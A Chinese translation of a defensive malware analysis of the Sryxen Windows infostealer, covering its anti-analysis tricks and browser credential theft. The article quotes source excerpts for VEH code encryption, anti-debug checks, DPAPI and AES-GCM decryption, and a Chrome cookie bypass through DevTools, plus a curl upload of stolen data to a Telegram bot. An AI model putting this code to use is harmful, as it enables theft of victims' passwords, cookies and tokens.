文章总结: 这篇文章深入分析了SryxenWindows窃取器的工作原理,包括其使用VEH段加密和多种反调试技术规避分析,以及如何通过DPAPI解密和ChromeDevTools协议窃取浏览器凭证。文章指出,尽管Chrome127+引入了App-BoundEncryption保护,Sryxen仍可通过让Chrome自行解密来绕过。作者建议使用蜜罐token作为下游检测手段,因为即使窃取器被检测到,数据可能已被外泄。
综合评分: 91
文章分类: 恶意软件,漏洞分析,威胁情报,WEB安全,安全工具
Windows 窃取器:现代信息窃取木马如何收割凭证
Rad Kawar
securitainment
2025年12月3日 17:35
中国香港
Windows 窃取器面临的挑战与 macOS 版本有着根本性的不同。它们不需要通过钓鱼获取密码来解锁 Keychain,而是需要应对 Windows Data Protection API (DPAPI)——这是微软的凭证保护系统,它将加密密钥绑定到用户上下文。以受害用户身份运行?DPAPI 会自动解密。以其他用户身份运行?数据就变得毫无用处。
Sryxen 作为 MaaS (恶意软件即服务) 出售,展示了现代 Windows 窃取器的方法。它用 C++ 编写,结合了针对传统浏览器凭证的 DPAPI 解密,以及绕过 Chrome 127+ 的新型 App-Bound Encryption 的技术——通过以无头模式启动 Chrome,并通过 DevTools Protocol 让它解密自己的 cookies。其反分析能力”比大多数商品化窃取器更复杂”:基于 VEH 的代码加密意味着主载荷在静态时是垃圾数据,仅在执行期间通过异常处理进行解密。六种反调试检查。反汇编混淆宏。
关键特征:
| 属性 | 值 |
| — | — |
| 目标操作系统 | Windows |
| 编程语言 | C++ |
| 架构 | x64 |
| C2 协议 | Telegram Bot API |
| 加密 | 无 (直接上传) |
| 持久性 | 无 (快速窃取) |
| 反分析 | VEH 段加密、反调试、反汇编 |
攻击流程
反分析深度剖析
基于 VEH 的段加密
最有趣的反分析技术是 Sryxen 如何保护其主载荷。MainBlock()——包含所有数据窃取逻辑的函数——在静态时被 XOR 加密,并被非法指令覆写。只有在被调用时,VEH 处理器才会解密它:
// Segment_Encryption.h - XOR 密钥是静态且嵌入的
unsignedchar xor_key[] = {
'Y', 'w', 'A', 'Y', 'w', 'A', 'o', 'n', 'v', 's', 'g', 'H', 'U', 'b', 'n', 'o',
'Y', 'w', 'A', 'o', 'n', 'v', 's', 'g', 'H', 'U', 'b', 'n', 'n', 'v', 's', 'g',
'H', 'U', 'b', 'n'
};
加密/解密循环:
// EncryptCodeSection - 启动时调用一次
voidEncryptCodeSection(LPVOID address, char* originalInstructions, int SIZE_OF_FUNCTION) {
// 保存原始字节
VxMoveMemory(originalInstructions, address, SIZE_OF_FUNCTION);
// XOR 加密保存的副本
xor_encrypt((unsignedchar*)originalInstructions, SIZE_OF_FUNCTION, xor_key, xor_key_size);
// 用非法指令替换函数体
VirtualProtect(address, SIZE_OF_FUNCTION, PAGE_EXECUTE_READWRITE, &oldProtect);
for (int i = 0; i < SIZE_OF_FUNCTION; i++) {
*((char*)((uintptr_t)address + i)) = 0x1F; // 触发 EXCEPTION_ILLEGAL_INSTRUCTION
}
VirtualProtect(address, SIZE_OF_FUNCTION, oldProtect, &oldProtect);
}
// VEH 处理器 - 在非法指令时解密,在断点时重新加密
LONG WINAPI VEHDecryptionHandler(PEXCEPTION_POINTERS exceptions) {
if (exceptions->ExceptionRecord->ExceptionCode == EXCEPTION_ILLEGAL_INSTRUCTION) {
// 找到匹配的函数并解密
xor_decrypt((unsignedchar*)EncryptedFunctions[i].originalInstructions, ...);
VxMoveMemory((LPVOID)EncryptedFunctions[i].FunctionAddress, ...);
// 在返回处设置断点以在执行后重新加密
SetBreakpoint((LPVOID)EncryptedFunctions[i].ReturnAddress);
return EXCEPTION_CONTINUE_EXECUTION;
}
elseif (exceptions->ExceptionRecord->ExceptionCode == EXCEPTION_BREAKPOINT) {
// 函数执行完毕 - 重新加密
EncryptCodeSection((LPVOID)EncryptedFunctions[i].FunctionAddress, ...);
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
为什么这很重要:
- 静态分析看到的是垃圾数据——函数是加密的
- 调用之间的内存转储只显示加密的字节
- 函数仅在活动执行期间可读
- 返回后的重新加密意味着即使实时调试也大部分时间显示加密代码
弱点:
- XOR 密钥是静态的且嵌入在二进制文件中
- 模式可识别 (0x1F 字节序列)
- 通过 VEH 处理器的单步调试会暴露一切
反调试检查
六项检查,每项在检测到时调用 exit(1):
// EntryPoint_AntiDebug.hpp
inlinevoidRunAllAntiDebug() {
if (NtGlobalFlag()) exit(1); // PEB->NtGlobalFlag != 0 当被调试时
if (IsDebuggerPresentAPI()) exit(1); // kernel32!IsDebuggerPresent
if (Interrupt_3()) exit(1); // INT3 异常计时
if (IsDebuggerPresentPEB()) exit(1); // 直接 PEB->BeingDebugged 检查
if (UnhandledExcepFilterTest()) exit(1); // SetUnhandledExceptionFilter 行为
if (SharedUserData_KernelDebugger()) exit(1); // KUSER_SHARED_DATA 检查
}
NtGlobalFlag 检查:当调试器创建进程时,Windows 在 PEB->NtGlobalFlag中设置堆调试标志:
-
FLG_HEAP_ENABLE_TAIL_CHECK(0x10)
-
FLG_HEAP_ENABLE_FREE_CHECK(0x20)
-
FLG_HEAP_VALIDATE_PARAMETERS(0x40)
组合后 = 被调试时为 0x70,正常时为 0x00。
SharedUserData:检查固定地址 0x7FFE02D4处的 KUSER_SHARED_DATA->KdDebuggerEnabled——一个内核级标志。
反虚拟机 (弱)
// EntryPoint_AntiVM.hpp - 仅检查 Sysmon
inlinevoidRunAllAntiVM() {
if (IsProcessRunning(L"sysmon.exe")) {
exit(1);
}
}
这明显很弱,但可以理解。
浏览器凭证窃取
DPAPI 链
Windows 浏览器使用 DPAPI 加密凭证。解密链:
主密钥提取
主密钥存储在 Local State中,作为 base64 编码的、受 DPAPI 保护的 blob:
// Crypto.cpp - GetMasterKey
std::string Crypto::GetMasterKey(const std::string& path) {
// 解析 Local State JSON
std::ifstream file(path);
nlohmann::json json_data = nlohmann::json::parse(file);
// 获取加密密钥: {"os_crypt": {"encrypted_key": "RFBBUEN..."}}
std::string encrypted_key = json_data["os_crypt"]["encrypted_key"].get<std::string>();
// Base64 解码
encrypted_key = base64_decode(encrypted_key);
// 去除 "DPAPI" 前缀 (前 5 个字节)
encrypted_key = encrypted_key.substr(5);
// DPAPI 解密 - 需要用户上下文
std::vector<unsignedchar> encrypted_key_vec(encrypted_key.begin(), encrypted_key.end());
returnCryptoUnprotectData(encrypted_key_vec);
}
为什么 DPAPI 有效:CryptUnprotectData()仅在被加密数据的同一用户调用时才会成功。Sryxen 以受害用户身份运行,因此 DPAPI 愉快地解密主密钥。攻击者窃取 Local State文件但以不同用户身份运行将一无所获。
密码解密
Chromium 密码使用 AES-256-GCM 加密。密文格式:
[3 字节版本][12 字节 nonce][密文][16 字节认证标签]
"v10"/"v11"
// Crypto.cpp - AES256GCMDecrypt
std::string Crypto::AES256GCMDecrypt(const std::string& key,
const std::vector<unsignedchar>& ciphertext) {
// 检查 v10/v11 前缀: 字节 118='v', 49='1', 48='0' 或 49='1'
if (ciphertext[0] == 118 && ciphertext[1] == 49 &&
(ciphertext[2] == 48 || ciphertext[2] == 49)) {
// 提取 nonce (从偏移 3 开始的 12 字节)
unsignedchar nonce[12];
VxMoveMemory(nonce, ciphertext.data() + 3, 12);
// 前缀 + nonce 之后的密文
constunsignedchar* ciphertext_ = ciphertext.data() + 3 + 12;
unsignedlonglong ciphertext_size = ciphertext.size() - 3 - 12;
// 使用 libsodium 解密
crypto_aead_aes256gcm_decrypt(
decrypted.data(), &decrypted_len,
nullptr,
ciphertext_, ciphertext_size,
nullptr, 0, // 无 AAD
nonce,
reinterpret_cast<constunsignedchar*>(key.data())
);
returnstd::string(decrypted.begin(), decrypted.begin() + decrypted_len);
}
// 旧格式的回退 (无 v10/v11 前缀) - 直接 DPAPI
returnCryptoUnprotectData(ciphertext);
}
Chrome 127+ App-Bound Encryption 绕过
Diagram
Chrome 127 引入了 App-Bound Encryption (ABE),将 cookie 加密绑定到 Chrome 应用程序本身。传统的 DPAPI 解密不再适用于 cookies。
Sryxen 的解决方案:根本不解密。以无头模式启动 Chrome 并开启远程调试,让 Chrome 解密自己的 cookies。
// Cookies.cpp - 版本检查触发绕过
int versionNumber = std::stoi(firstPart); // 解析主版本号
if (versionNumber >= 127) {
// 新加密 - 使用调试方法
BrowserCookieExtractor obj;
obj.GetCookie(Chromium.browserPath, Chromium.browserRoot, Chromium.browserName);
continue; // 跳过传统 SQLite 提取
}
该绕过使用特定标志启动 Chrome:
// core.cpp - 以远程调试启动 Chrome
std::wstring cmdLine = L"\"" + browserPath + L"\" --headless " +
L"--user-data-dir=\"" + userData + L"\" " +
L"--remote-debugging-port=" + std::to_wstring(port) + L" " +
L"--remote-allow-origins=* " +
L"--disable-extensions --no-sandbox --disable-gpu";
CreateProcessW(browserPath.c_str(), cmdLineVec.data(), NULL, NULL, FALSE,
CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
然后通过 WebSocket 连接请求解密的 cookies:
// core.cpp - DevTools Protocol 通信
// 1. 获取 WebSocket URL
HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", L"/json", ...);
// 响应: {"webSocketDebuggerUrl": "ws://127.0.0.1:PORT/devtools/page/..."}
// 2. 连接并请求 cookies
WebSocketClient ws(host, wsPort);
ws.Connect();
ws.Send(R"({"id":1,"method":"Network.getAllCookies"})");
std::string wsResponse = ws.Receive();
// 3. 解析 - cookies 已被 Chrome 解密
nlohmann::json cookieData = nlohmann::json::parse(wsResponse);
for (auto& cookie : cookieData["result"]["cookies"]) {
std::string value = cookie["value"]; // 已解密!
}
为什么这有效:Chrome 通过 DevTools Protocol 访问时会解密自己的 cookies。窃取器不需要 ABE 密钥——Chrome 在内部处理解密。Cookies 从不以解密形式接触磁盘。
Firefox/Gecko NSS 解密
Firefox 使用 Mozilla NSS 库,而不是 DPAPI:
// nss3.hpp - Firefox 凭证解密
namespaceNSS {
boolInitialize(const std::string& profilePath); // 加载 nss3.dll
std::string PK11SDR_Decrypt(const std::string& dbPath, const std::string& encryptedData);
}
凭证存储在 logins.json中,使用来自 key4.db的密钥加密。当使用配置文件路径正确初始化时,NSS 的 PK11SDR_Decrypt函数处理解密。
浏览器发现
Sryxen 使用多线程 BFS 查找所有已安装的浏览器:
// Paths.hpp - 浏览器检测
staticboolIsChromiumBrowser(const fs::path& dir) {
returnfs::exists(dir / "User Data" / "Local State") ||
(fs::exists(dir / "Local State") && fs::exists(dir / "PartnerRules"));
}
staticboolIsGeckoBrowser(const fs::path& dir) {
if (!fs::exists(dir / "Profiles")) returnfalse;
for (constauto& entry : fs::directory_iterator(dir)) {
if (entry.path().extension() == L".ini") returntrue;
}
returnfalse;
}
窃取的浏览器数据:
| 数据类型 | Chromium 路径 | Firefox 路径 | 加密 |
| — | — | — | — |
| 密码 | Login Data | logins.json | AES-256-GCM / NSS |
| Cookies | Cookies 或 Network/Cookies | cookies.sqlite | AES-256-GCM (ABE 127+) / 无 |
| 历史 | History | places.sqlite | 无 |
| 自动填充 | Web Data | formhistory.sqlite | 部分 |
| 书签 | Bookmarks | places.sqlite | 无 |
Discord Token 窃取
Discord token 可以是明文或使用相同的 DPAPI + AES-256-GCM 方案加密:
// Discord.cpp - Token 模式
const std::regex token_regex(R"(dQw4w9WgXcQ:[^.*\['(.*)'\].*$][^"]*)"); // 加密的
const std::regex normal_regex(R"(([\d\w_-]{24,26}\.[\d\w_-]{6}\.[\d\w_-]{25,110}))"); // 明文
dQw4w9WgXcQ前缀是 Discord 对加密 token 的标记——是的,这是 YouTube 视频 “Never Gonna Give You Up” (Rickroll) 的 ID。
// 加密 token 的解密
if (starts_with(encrypted_token, "dQw4w9WgXcQ")) {
encrypted_token = base64_decode(encrypted_token.substr(12));
token = Crypto::AES256GCMDecrypt(master_key, {encrypted_token.begin(), encrypted_token.end()});
}
目标路径:
std::vector<std::string> predefined_paths = {
appdatapath + R"(\discord)",
appdatapath + R"(\discordcanary)",
appdatapath + R"(\Lightcord)",
appdatapath + R"(\discordptb)"
};
数据暂存和外泄
暂存结构
所有窃取的数据组织在 %TEMP%\Sryxen\中:
%TEMP%\Sryxen\
|-- discord.txt
|-- passwords.txt
|-- cookies.txt
|-- history.txt
|-- autofill.txt
|-- bookmarks.txt
|-- Socials\
| |-- Element\
| |-- Telegram\
| |-- ...
|-- VPN\
| |-- ProtonVPN\
| |-- Surfshark\
| |-- OpenVPN\
|-- Cryptowallets\
|-- Extensions\
| |-- MetaMask\
| |-- Phantom\
|-- Exodus\
|-- Electrum\
压缩和上传
// Sryxen.cpp - 外泄
// 使用 PowerShell 压缩
std::string command = "powershell -Command Compress-Archive -Path \"" + folderPath +
"\" -DestinationPath \"" + zipFileName + "\" >nul 2>&1";
system(command.c_str());
// 通过 curl 上传到 Telegram
std::string curlCommand = "curl -F \"chat_id=" + std::string(CHAT_ID) + "\" "
+ "-F \"document=@\\\"" + zipFileNameStr + "\\\"\" "
+ "https://api.telegram.org/bot" + std::string(BOT_TOKEN) + "/sendDocument";
system(curlCommand.c_str());
弱点:使用 system()生成 curl 和 PowerShell 极其嘈杂。进程创建遥测可以轻松捕获这一点。
行为检测机会
Chrome 127+ 绕过
- Chrome 进程使用
--headless --remote-debugging-port生成 - 非浏览器父进程使用调试标志启动 Chrome
- 来自未签名进程的到 localhost 高端口的 WebSocket 连接
外泄
-
来自非交互式进程的 PowerShell
Compress-Archive -
curl.exePOST 到
api.telegram.org/bot*/sendDocument -
system()连续生成 curl/PowerShell
MITRE ATT&CK 映射
| ID | 技术 | 实现 |
| — | — | — |
| T1555.003 | 从 Web 浏览器获取凭证 | DPAPI/AES 解密、DevTools Protocol |
| T1539 | 窃取 Web 会话 Cookie | Cookie DB 窃取、Chrome 127+ 绕过 |
| T1552.001 | 文件中的凭证 | 钱包文件、VPN 配置、Discord LevelDB |
| T1059.001 | PowerShell | Compress-Archive 用于 ZIP |
| T1059.003 | Windows 命令外壳 | system() 用于 curl |
| T1083 | 文件和目录发现 | 多线程浏览器枚举 |
| T1005 | 本地系统数据 | 大量文件收集 |
| T1560.001 | 通过工具归档 | PowerShell Compress-Archive |
| T1041 | 通过 C2 外泄 | Telegram Bot API |
| T1497.001 | 系统检查 | sysmon.exe 检测 |
| T1622 | 调试器规避 | NtGlobalFlag、PEB、INT3、VEH |
| T1027.009 | 嵌入式载荷 | VEH 段加密 |
| T1106 | 本机 API | 通过 crypt32.dll 的 DPAPI |
这对检测意味着什么
Sryxen 的架构揭示了浏览器安全与凭证窃取之间的军备竞赛。Chrome 的 App-Bound Encryption 本应阻止 cookie 窃取——Sryxen 通过让 Chrome 解密自己的数据完全绕过了它。基于文件的监控没有帮助,因为解密的 cookies 从未接触磁盘。
基于 VEH 的段加密对于规避静态分析很巧妙,但行为模式却很响亮。system()生成 curl 和 PowerShell、从非浏览器父进程启动带有调试标志的 Chrome、跨浏览器目录的大量 SQLite 访问——这些在端点上都有些可检测。
但根本问题仍然存在:快速窃取执行。无持久性。快速外泄。到 EDR 警报触发且有人响应时,数据已经在 Telegram 频道中了!被窃取的凭证仍然需要被使用…
这就是蜜罐 token 改变格局的地方。在 Sryxen 目标位置植入受监控的凭证——当 Sryxen 连同合法凭证一起外泄它们时,这些 token 会进入相同的地下市场。因此,当这些 token 被使用时,你会有一个清晰的高保真信号,让你说”嘿,这个资产有一个 token 发出了 ping,是时候调查了”。
像 Sryxen 这样的窃取器是收割机制。真正的威胁在下游——当被窃取的凭证被使用时。在那里检测,窃取器的复杂性就不再那么重要了——这并不是说它不重要。
Windows Stealers How Modern Infostealers Harvest Credentials
免责声明:本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:securitainment Rad Kawar《Windows 窃取器:现代信息窃取木马如何收割凭证》